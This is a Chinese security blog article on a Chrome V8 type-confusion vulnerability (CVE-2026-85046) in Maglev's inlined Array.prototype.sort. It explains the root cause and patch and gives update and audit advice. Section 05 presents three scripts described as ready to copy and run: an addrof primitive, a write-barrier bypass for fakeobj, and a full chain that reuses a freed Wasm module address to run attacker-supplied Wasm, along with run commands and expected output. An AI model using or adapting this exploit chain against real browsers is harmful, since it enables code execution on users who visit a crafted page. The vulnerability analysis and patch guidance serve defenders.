文章总结: 本文深度剖析Chrome高危RCE漏洞CVE-2026-85046,该漏洞为V8引擎类型混淆(CWE-843),CVSS评分8.8,已存在在野利用。文章详细分析了根因在于内联sort的map检查语义缺陷,并展示了通过fill(0)触发类型混淆、利用addrof原语及绕过写屏障的完整利用链。建议用户立即更新Chrome至152.0.7977.82及以上版本以修复漏洞。 综合评分: 92 文章分类: 漏洞分析,红队,渗透测试,漏洞预警,安全工具
谷歌浏览器再现高危远程代码执行漏洞:访问一个网页,代码就在你浏览器里跑起来了(含exp)
网络安全透视镜 网络安全透视镜
网络安全透视镜
2026年9月9日 21:51 中国香港
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
BRIEF · 漏洞速览
Chrome 远程代码执行漏洞(CVE-2026-85046)
漏洞类型
远程代码执行(RCE)· V8 类型混淆(CWE-843)
威胁概述
远程攻击者可诱导用户访问特制 HTML 页面触发漏洞,并在 Chrome 沙箱内执行任意代码。Google 已确认该漏洞存在在野利用。
影响版本
Chrome 桌面版 152.0.7977.82 之前的所有版本
修复版本
Windows / macOS 152.0.7977.82 · .83;Linux / Android 152.0.7977.82
漏洞等级
高危(CVSS 3.1 评分 8.8)
2026 年 9 月 3 日,Chrome 稳定版桌面渠道推送 152.0.7977.82/.83 ,一次性落地 12 项安全修复。在这份清单里,官方单独加了一句:「Google is aware that an exploit for CVE-2026-85046 exists in the wild」—— 存在在野利用 。
这是 Google 在 2026 年修补的第六个已被在野利用的 Chrome 零日。CVSS 3.1 评分 8.8(High) ,CWE 编号 843,类型混淆。
官方对技术细节的封锁是常规操作——在多数用户完成更新之前,Chromium issue 542403045 保持受限。但 报告 write-up 在 8 月底已经公开 ,随后社区里也陆续出现了可运行的 PoC。这篇文章基于这些公开材料,把这条链从头到尾拆一遍。
本文看点
01
缺陷出在哪一行:内联 sort 的 map 检查语义
02
fill(0) 为什么能把元素类型往回推
03
从泄漏地址到伪造对象,跨过写屏障那一步
01
OVERVIEW
概览:不新鲜的 Bug 类,不便宜的后果
类型混淆是 V8 最高产的漏洞猎场。V8 用 map(隐藏类) 记录每个对象的内存布局,优化编译器据此把 JS 编译成针对性的机器码。 PACKED_SMI_ELEMENTS 承诺数组里只装小整数, PACKED_ELEMENTS 表示装的是带标签的对象指针。一旦编译器对 map 的判断与实际不符,读的一侧会把对象指针当成裸整数,写的一侧会把伪造的整数当成对象指针。 读写两个原语凑齐,基本等于拿到了进程内的内存控制权。
CVE-2026-85046 属于这一类,但它的入口相当日常—— Array.prototype.sort 。
「allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page」
官方公告这句原话拆开看有两层意思。第一层是触达成本: 一个 crafted HTML page 就够了 ,不需要下载、不需要插件、不需要任何确认弹窗,渲染器在渲染页面的过程中就执行了攻击者准备好的 JavaScript。第二层是边界:arbitrary code 发生在 sandbox 之内。渲染器沙箱的设计目标正是兜住这类内存破坏,从这个点到真正控制终端,通常还要 再接一个沙箱逃逸漏洞 。
Serotav 在自己的 write-up 里也正是这么做的:把这个 V8 类型混淆与一个 n-day 沙箱逃逸串起来,最终攻破了 v8CTF。
值得单独说一句的是,这个缺陷在 Maglev 和 TurboFan 两级优化编译器里同时存在 。Maglev 是 V8 的中层优化编译器,TurboFan 是顶层。同类的推断错误同时出现在两级,意味着触发面不是单点——页面的热点代码无论走哪条编译路径,都可能踩进同一类错配。
02
ROOT CAUSE
根因:内联 sort 少做的那一步检查
内联排序是怎么一回事
缺陷位于 src/maglev/maglev-graph-builder.cc 的 TryReduceArrayPrototypeSort 。Maglev 生成控制流图时,会尝试把某些 builtin 调用替换成特化版本。TimSort 在每次调用 comparefn 时都要做一次 builtin → JS 的切换,开销不小;如果数组够小、条件够确定,Maglev 就会把整个排序 内联成一段插入排序 ,省掉这些切换。
…cpp
checkReceiverMaps();
temp = copy(receiver.elements);
insertionSort(temp, comparefn);
checkReceiverMapsAndLength();
copy(temp, receiver.elements);
注意 temp 这个临时数组。排序不在原地进行,而是在 receiver 元素的一份 FixedArray 快照上做。原因是 JS 里任何函数都可能有副作用——包括你传给 sort 的那个 comparator,它完全可能去修改正在被排序的数组。ECMA-262 23.1.3.30 里把这个快照称作 items, comparator 对 receiver 的副作用不影响排序结果 。排序完成后,再把 temp 拷回原数组。
函数开头的注释列了几条前置条件: CanSpeculateCall() 为真;receiver 的 map 是已知的 PACKED_SMI 或 PACKED(holey 数组被排除,因为空洞需要特殊处理,插入排序没实现;PACKED_DOUBLE 也被排除,为了让 deopt 续延保持简单);必须提供 comparefn 且它有 bytecode;数组长度不超过 kMaxInlineSortSize ,这个值是 16 ,超过就走普通 sort builtin。
检查写错了语义
…cpp
// Guard: comparefn side effects may have changed the receiver’s map or
// length. Check once here before the copy-back (the sort loop only
// touches the temp array, so in-loop checks are unnecessary).
if (receiver_maps_were_unstable) {
RETURN_IF_ABORT(AddNewNode
{receiver}, receiver_maps_before_loop,
CheckType::kOmitHeapObjectCheck));
}
注释说得没错:comparator 的副作用可能改掉 receiver 的 map 或长度,所以拷回之前要检查一次。问题出在检查本身。
CheckMaps 验证的是 receiver 当前的 map 是否属于 receiver_maps_before_loop 这个集合中的任意一个,而 不是验证 map 是否保持未变 。这两者的差别,在混合元素类型反馈下会被放大成大问题。
混合元素类型反馈
…javascript
function confuse(arr){
function compare(){
return 0
}
arr.sort(compare);
}
for (let i = 0; i < 1000; i++){
confuse([6,9,4,2,0])
confuse([{},{},{}])
}
同一个调用点既喂过 Smi 数组,也喂过对象数组。Maglev 收集到的 possible_maps 同时包含 PACKED_SMI_ELEMENTS 和 PACKED_ELEMENTS,而这两种布局的 backing store 都是装 tagged 值的 FixedArray,所以 Maglev 允许它们共存。
于是连锁反应成立了:内联优化只支持这两种 map,而这两种 map 又 都在合法集合里 ,那么在它们之间来回切换,检查一律放行。
03
TRIGGER
触发:fill(0) 把 map 往回推
元素类型通常只能往前走
从 PACKED_SMI 变到 PACKED_ELEMENTS 没什么利用价值,真正想要的是反方向—— 把装对象指针的数组降级成 Smi 数组 。但 V8 里数组的 map 一般只从特化走向泛化。
a = [1,2,{}] 之后把第三个元素改成 a[2] = 3 ,不会让数组从 PACKED_ELEMENTS 退回 PACKED_SMI_ELEMENTS。重新赋值 a = [1,2,3] 换掉的是 a 这个引用本身, sort 所作用的那个 receiver 并没有变 。
所以需要一个能原地替换 map 的操作。候选是 Array.prototype.fill 。
fill 的全量替换分支
src/builtins/builtins-array.cc 里, is_replacing_all_elements 分支有一条注释写得很直白:
…cpp
// For the case where we are replacing all elements, we can migrate the
// map backwards in the elements kind chain and ignore the current
// contents of the elements array.
当 fill 替换掉所有元素时,旧值一个都不会留下,V8 可以为新值重新挑一个最优的元素类型。而对 Smi 和 object 两种元素来说,backing store 都是装 tagged 槽位的 FixedArray,连重新分配都不需要, 直接换 map :
…cpp
JSObject::SetMapAndElements(isolate, array, new_map, elements);
这就是那把钥匙。
完整的状态变化
把 fill(0) 塞进 comparator,四次状态变化是这样的:
…state
Before comparator:
receiver.map = PACKED_ELEMENTS
temp = [object pointers]
Inside comparator:
receiver.fill(0)
receiver.map = PACKED_SMI_ELEMENTS
receiver = [0, 0]
After copy back from temp:
receiver.map = PACKED_SMI_ELEMENTS
receiver = [object pointers]
排序前 receiver 是对象数组,temp 里是对象指针;comparator 执行 fill(0) 把 map 推成 PACKED_SMI_ELEMENTS,内容变成 [0, 0] ;检查因为 PACKED_SMI_ELEMENTS 在合法集合里而通过;temp 里的对象指针被原样拷回。最终结果是一个 贴着 PACKED_SMI_ELEMENTS map、实际装着对象指针的数组 。类型混淆达成。
…javascript
function confuse(arr){
function compare(){
arr.fill(0);
return 0
}
arr.sort(compare);
}
for (let i = 0; i < 1000; i++){
confuse([6,9,4,2,0])
confuse([{},{},{}])
}
let bad = [{},{}]
confuse(bad);
console.log(bad) // 8901784,8901802
console.log(bad[0]) // [object Object]
打印整个数组时泄漏的是堆偏移,按下标访问时拿到的还是正常对象。原因就是: 依赖 map 的那些 API 按 Smi 语义解释元素 ,而普通的元素访问返回的仍是 tagged 值。
04
EXPLOITATION
利用:addrof 与跳过写屏障的 fakeobj
addrof:一枪就有
上面那个差异直接就是一个 addrof 原语:
…javascript
function addrof(target) {
let sacrificial = [target,target];
confuse(sacrificial);
return (Number(String(sacrificial).split(‘,’)[0]) << 1) | 1
}
把目标对象放进一个长度为 2 的数组,触发混淆,用 String() 按 Smi 语义取出第一个元素的值, 左移一位再置最低位 ,还原出带标签的堆对象指针。
fakeobj 卡在哪
有 V8 利用经验的人会习惯性地做反向操作来拿 fakeobj。但这条路在这里走不通:往混淆数组里写数字,写进去仍然是一个 Smi, 改不掉指针的最低位 ;反过来混淆(Smi 数组当成对象数组)拿到的也只是一堆合法 Smi。作者在 write-up 里说得很坦白——他没能摸到那个 LSB。
让 V8 跳过写屏障
作者找到的办法是让 V8 跳过 write barrier 。
写屏障是分代 GC 用来记录跨代引用的机制:老生代对象如果指向新生代对象,这次写入必须被记录下来,否则 minor GC 会漏掉这条引用。而 所有依赖混淆后 map 的操作都会按「这是一个 Smi 数组」来执行 ——把 tagged 指针当成 Smi 移动时,不会发射写屏障。
最容易构造的移动是 Array.prototype.unshift :在数组头部插入元素,其余元素整体后移,只要容量够就不会重新分配 backing store。
…javascript
function trash() {for (let i = 0; i < 36; ++i) new Array(0x1000).fill(1.1);}
let bad = [{},{},69];
bad.pop(); // [{},{},
trash(); // promote bad to Old Space
trash();
bad[1] = {x:420}; // old -> young
confuse(bad)
bad.unshift(0); // [0, {}, {x:420} <- skipped write barrier]
拆开看:先用 pop 腾出一个空槽;两次 trash() 把 bad 提升到老生代; bad[1] = {x:420} 造出一条 old → young 的引用;confuse 触发混淆;最后 unshift(0) 让元素整体后移——移动 {x:420} 这个指针时,V8 因为 map 是 SMI 而 没有发射写屏障 。
到这一步,堆上的任意读写就只剩收尾工作: 触发一次 minor GC,用一个伪造的数组回收掉那个被 GC 忽略的槽位 。作者在另一篇 write-up 里用的是同一套手法。
另一条更直观的演示
除了 Serotav 的原始 PoC,社区里还出现了一个把利用链收得更短的演示,目标是 Chrome 152.0.7977.75( –js-flags=–expose-gc )。它不再绕道伪造数组,而是直接利用 Wasm 模块对象:
1
用 sort() 把 Wasm 模块对象的指针当整数泄漏出来
2
把这个指针存到 GC 不追踪的位置
3
GC 回收原来的模块包装对象
4
攻击者构造的新模块对象占用同一个地址
5
通过那个已经失效的旧引用调用,执行的是攻击者的模块
这个演示的输出是 PWNED 2026 、 identity:true 、 marker:8738 。它把「泄漏地址 → 释放 → 占位 → 通过悬垂引用执行」这条链条完整跑通了,也说明 同一个类型混淆原语不止一种变现方式 。
05
EXPLOIT
Exploit:两份可直接运行的代码
前面按步骤拆的是原理,这一节给能直接复制运行的代码。三段均取自公开材料,仅用于授权的自建测试环境与防御验证。
脚本一:触发混淆 + addrof
把训练、触发、地址泄漏合成一个文件:
…js
// stage1.js —— CVE-2026-85046 类型混淆原语
// 环境:受影响的 V8 / Chrome(例如 152.0.7977.75)
// 运行:d8 –expose-gc stage1.js
function confuse(arr){
function compare(){
arr.fill(0);
return 0
}
arr.sort(compare);
}
// 训练:同一个调用点既喂 Smi 数组,也喂对象数组
// 让 Maglev 在同一处收集到 PACKED_SMI_ELEMENTS + PACKED_ELEMENTS 两份 map
for (let i = 0; i < 1000; i++){
confuse([6,9,4,2,0])
confuse([{},{},{}])
}
// addrof:混淆后的数组按 Smi 语义打印,堆偏移直接泄漏出来
function addrof(target) {
let sacrificial = [target,target];
confuse(sacrificial);
return (Number(String(sacrificial).split(‘,’)[0]) << 1) | 1
}
// —— 验证 ——
let bad = [{},{}]
confuse(bad);
console.log(bad) // 8901784,8901802 对象指针被当 Smi 打印
console.log(bad[0]) // [object Object] 普通访问返回 tagged 值
console.log(addrof({a:1}).toString(16)) // 泄漏一个对象地址
跑通的标志就是 console.log(bad) 打印出两个整数而不是两个对象——这说明 map 已经被推成 PACKED_SMI_ELEMENTS,而槽位里躺的仍是对象指针。混淆成立。
脚本二:fakeobj —— 让 V8 跳过写屏障
接在脚本一的 confuse() 后面:
…js
// stage2.js —— 构造 fakeobj:跳过 write barrier
function trash() {for (let i = 0; i < 36; ++i) new Array(0x1000).fill(1.1);}
let bad = [{},{},69];
bad.pop(); // [{},{},
trash(); // 把 bad 提升到 Old Space
trash();
bad[1] = {x:420}; // 造出一条 old -> young 的引用
confuse(bad)
bad.unshift(0); // [0, {}, {x:420} <- 这个指针被移动时没发射写屏障]
gc({type:”minor”}); // 触发 minor GC:这条引用没被记录,槽位可被回收
unshift(0) 之后,{x:420} 这个指针被当成 Smi 整体后移,V8 没有为它记录跨代引用。接下来触发一次 minor GC,用一个伪造的数组回收掉那个被 GC 忽略的槽位,堆上的任意读写就到手了。
脚本三:完整利用链
这段是社区那套可直接跑通的利用,把「泄漏地址 → 释放 → 占位 → 通过悬垂引用执行」四个环节一次做完。它不再绕道伪造数组,而是直接拿 Wasm 模块对象开刀:
…js
// poc.js —— CVE-2026-85046 完整利用链
// 环境:受影响的 Chrome(152.0.7977.75),带 –js-flags=–expose-gc
function confuse(a) {
function compare() { a.fill(0); return -1; }
a.sort(compare);
}
function copySmi(dst, src) { dst[100] = src[1]; }
function untag(src) { return src[1] – 0.25; }
for (let i = 0; i < 1000; ++i) {
confuse([1, 2]);
confuse([{}, {}]);
copySmi(new Array(256).fill(0), [1, 2]);
untag([1, 2]);
}
// 原始模块:没有 import,main 返回 0x1111
const originalBytes = new Uint8Array([
0,97,115,109,1,0,0,0,1,5,1,96,0,1,127,3,2,1,0,
7,8,1,4,109,97,105,110,0,0,10,7,1,5,0,65,145,34,11
]);
// 替换模块:import env.print,main 调它并返回 0x2222
const replacementBytes = new Uint8Array([
0,97,115,109,1,0,0,0,1,8,2,96,0,0,96,0,1,127,
2,13,1,3,101,110,118,5,112,114,105,110,116,0,0,
3,2,1,1,7,8,1,4,109,97,105,110,0,1,
10,10,1,8,0,16,0,65,162,196,0,11
]);
const originalTemplate = new WebAssembly.Module(originalBytes);
const replacementTemplate = new WebAssembly.Module(replacementBytes);
const originalImports = WebAssembly.Module.imports(originalTemplate).length;
const originalMarker = new WebAssembly.Instance(originalTemplate).exports.main();
const holder = new Array(256).fill(0);
const replacements = new Array(50000).fill(0);
const transitionObject = {};
let weak;
let staleAddress;
function addressFromSource(src) {
const smi = Math.round(untag(src) + 0.25);
return ((smi * 2) | 1) >>> 0;
}
setTimeout(() => {
gc({type:”major”});
(function install() {
const padding = Array.from({length:1166}, (_, i) => ({x:i}));
const alignment = new Array(0).fill(1.1);
const module = structuredClone(originalTemplate);
const src = [module, {}];
if (padding[1165].x !== 1165 || alignment.length !== 0) throw 0;
weak = new WeakRef(module);
confuse(src);
staleAddress = addressFromSource(src);
copySmi(holder, src);
})();
setTimeout(() => {
gc({type:”minor”});
setTimeout(() => {
// WeakRef 证明原来的包装对象已经不被 GC 认为是活的
const originalCollected = weak.deref() === undefined;
let hit = -1;
let replacementAddress = null;
let rounds = 0;
if (originalCollected) {
for (rounds = 1; rounds <= 4 && hit < 0; ++rounds) {
for (let i = 0; i < 16; ++i) {
replacements[i] = structuredClone(replacementTemplate);
}
gc({type:”minor”});
for (let i = 0; i < 16; ++i) {
const src = [replacements[i], {}];
confuse(src);
const address = addressFromSource(src);
// 要求替换模块正好落在那个已经失效的地址上
if (address === staleAddress) {
hit = i;
replacementAddress = address;
break;
}
}
}
}
let identity = false;
let callbackCount = 0;
let marker = null;
if (hit >= 0) {
holder[0] = transitionObject;
identity = holder[100] === replacements[hit];
// 通过失效的旧指针实例化;只有替换模块会 print
marker = new WebAssembly.Instance(holder[100], {
env:{print() {
++callbackCount;
if (typeof document === “undefined”) globalThis.print(“PWNED 2026”);
else console.log(“PWNED 2026”);
}}
}).exports.main();
}
const result = JSON.stringify({
originalImports,
originalMarker,
originalCollected,
staleAddress,
replacementAddress,
hit,
identity,
callbackCount,
marker
});
console.log(result);
if (typeof document !== “undefined”) document.body.textContent = result;
}, 0);
}, 0);
}, 0);
四个环节落在代码里的位置:install() 用 structuredClone 拿到一个原始模块的副本,混淆后把它的地址读进 staleAddress,同时用 copySmi 把同一个指针塞进 holder[100];WeakRef 加一次 minor GC 让原包装对象被回收;随后批量克隆替换模块,逐个比对地址,直到有一个正好落在 staleAddress 上;最后通过 holder[100] 这个已经悬垂的旧引用去实例化——执行的是攻击者的模块。
怎么跑,输出怎么读
…bash
方式一:d8(V8 官方 shell,自行编译受影响版本)
./d8 –expose-gc poc.js
方式二:Chrome(受影响版本,暴露 gc 后控制台运行,或包成 poc.html 打开)
chrome –js-flags=–expose-gc
跑通后打印一行 JSON,每个字段的含义:
| 字段 | 期望值 | 说明 | | — | — | — | | originalImports | 0 | 原始模块没有 import | | originalMarker | 4369 | 原始模块 main() 返回 0x1111 | | originalCollected | true | WeakRef 证明原包装对象已被回收 | | staleAddress | 与下一行相等 | 泄漏到的原模块地址 | | replacementAddress | 与上一行相等 | 占位成功,落回同一地址 | | hit | >= 0 | 命中在第几轮 | | identity | true | 旧引用与替换模块是同一个对象 | | callbackCount | 1 | env.print 被调用了一次 | | marker | 8738 | 替换模块 main() 返回 0x2222 |
identity:true 与 marker:8738 一起出现,就说明执行流确实走到了攻击者的 Wasm 模块里,而不是原来的那个。
有一点要说清楚:这段代码跑在渲染进程内,它证明的是「沙箱内任意代码执行」这个原语已经到手。要到完整控制终端,还需要再接一个沙箱逃逸——Serotav 在 v8CTF 里就是这么做的。
06
TIMELINE
时间线:从报告到补丁的三十天
把可核实的日期摊开:
2026-08-04 报告
Serotav 向 Google 报送该缺陷。
2026-08 下旬 公开
报告人的 write-up 公开,原理与 PoC 进入公共视野。
2026-09-03 补丁
Chrome 稳定版 152.0.7977.82/.83 发布修复,官方确认存在在野利用。
2026-09-04 KEV
CISA 收入 KEV 目录,联邦机构修复截止 9 月 18 日。
从报告到补丁, 三十天 。而「在野利用」这四个字意味着,真实攻击者拿到可用利用方式的时间点一定早于 9 月 3 日。也就是说,在这三十天里的相当一部分时间里,这个洞对持有者而言 等效于零日 :没有补丁,没有公开检测规则,用户无从防御。
这里有个容易被忽略的结构性变化。过去一个 V8 缺陷从披露到可靠武器化通常以月计,防御方还有从容部署的窗口。现在,从已报告的缺陷、已合入的补丁 diff 出发,自动化工具链把触发构造、堆布局调试、地址解析这些最耗时的工程环节压缩到小时级。补丁从报告到发布仍然要三十天。两个数字之间的剪刀差,才是这轮周期里真正新增的风险。
07
PATCH & AUDIT
修复与自查
官方的修复非常直接。修复提交 e0562d87 做的事情,用作者的话说就是: 不在 mixed elements kinds 下内联 Array.prototype.sort 。
既然问题的根源是「混合元素类型反馈 + 只检查集合归属」这个组合,那就在反馈混合时干脆不做这个优化。 从源头掐掉 ,比在检查里补一个「是否变化」的判断更彻底——后者还要处理 deopt 续延、快照传递等一系列边界情况。
引入该优化的提交是 66a3f1e9 ,包含它而不包含修复提交的版本都受影响。
| 产品 | 修复版本 | | — | — | | Chrome(Windows / macOS) | 152.0.7977.82 / .83 | | Chrome(Linux / Android) | 152.0.7977.82 | | Edge / Brave / Opera / Vivaldi | 跟随各自厂商的 Chromium 152 合并版本 | | Electron 应用 | 取决于打包的 Chromium 快照与重新发版时间 |
四件事值得立刻做:
完全退出并重启浏览器
Chrome 会在后台下载更新,但要到重启才真正生效。一个「已经自动更新」的环境,如果没人关过浏览器,可能还跑着有问题的二进制好几天。
别只数 Chrome
Chromium 是开源的,Edge、Brave、Opera、Vivaldi 都继承同一个 V8,需要走各自的更新渠道。装了 Chrome 不代表它们安全。
重点查 Electron 应用
Slack、Discord 桌面端、各类内部工具,只要它渲染远程内容,用户的实际版本取决于这个应用最后一次重新构建的时间。去翻 package.json。
逐台核验实际运行版本
不要依赖管理控制台上报的「已安装」。kiosk、虚拟桌面、构建机、跳板机这些很少重启的机器值得单独排一个队列。
补丁下载完成不等于生效。真正决定你是否有风险的是「当前正在运行的那个二进制」,而不是「已经装上的那个包」。
∞
THE END
结语
CVE-2026-85046 本身是一次相当经典的编译器推断失误:优化想省掉几次 builtin 切换的开销,代价是 少问了一个问题 。类型混淆在 V8 里从来不是新鲜的 bug 类,新鲜的永远是它出现的速度,以及从原理到可用利用之间那段距离正在被压缩得多快。
对防御侧来说,这次能做的事很朴素:把「已知缺陷未修复」的窗口期 当作高危状态来管理 ,逐台核验实际版本,别把自动更新当成已经完成。
漏洞在报告那一刻就开始泄漏风险,而不是在补丁发布那一刻。
本文基于 Serotav 公开 write-up、GitHub 公开 PoC 仓库及 Google / CISA 官方公告整理,仅用于安全研究与防御参考。
END
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全透视镜 网络安全透视镜 网络安全透视镜《谷歌浏览器再现高危远程代码执行漏洞:访问一个网页,代码就在你浏览器里跑起来了(含exp)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论